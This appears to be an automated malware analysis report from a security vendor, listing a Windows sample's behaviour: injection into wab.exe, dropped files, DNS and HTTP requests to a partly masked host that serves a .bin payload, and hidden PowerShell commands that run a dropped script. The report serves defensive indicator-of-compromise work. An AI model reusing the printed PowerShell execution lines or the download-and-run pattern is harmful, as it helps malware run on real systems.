Technical Information
Malicious functions
Injects code into
the following user processes:
- wab.exe
Modifies file system
Creates the following files
- %TEMP%\nsa10c3.tmp
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\kravspecifikation.lnk
- %TEMP%\nsp1391.tmp\nsdialogs.dll
- %LOCALAPPDATA%\flavanthrene\flettebrevet11.lan
- %LOCALAPPDATA%\flavanthrene\develin.svr
- %LOCALAPPDATA%\flavanthrene\hydroaviation.bri
- %LOCALAPPDATA%\flavanthrene\noles.opl
- %LOCALAPPDATA%\flavanthrene\statuses119.kab
- %LOCALAPPDATA%\flavanthrene\cirsophthalmia.fer
- %LOCALAPPDATA%\flavanthrene\dmpningens.txt
- %LOCALAPPDATA%\flavanthrene\humlebier\klejnens\hardtacks\fingerstningers.fja
- %WINDIR%\fonts\disroots.lnk
Deletes the following files
- %TEMP%\nsp1391.tmp\nsdialogs.dll
Network activity
Connects to
- 'sc########flensburg.freifunk.net':80
TCP
HTTP GET requests
- http://sc########flensburg.freifunk.net/wp-includes/BanqYXTvfwTmlAKVf116.bin
UDP
- DNS ASK sc########flensburg.freifunk.net
- DNS ASK bb##1.shop
Miscellaneous
Searches for the following windows
- ClassName: '#32770' WindowName: ''
Creates and executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -windowstyle hidden $d = Get-Content '%LOCALAPPDATA%\flavanthrene\Develin.Svr' ; powershell.exe ''$d''
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' "<#nellies Spluttering Foliebakkerne Familieforholdet Benzinkrig Instantiates #><#Preexcuse Unblundered Passionfulness Giusto digesmutterne Degradere #><#Gala Magnetify Forstirre Luftfartj Poka...
- '%ProgramFiles(x86)%\windows mail\wab.exe'
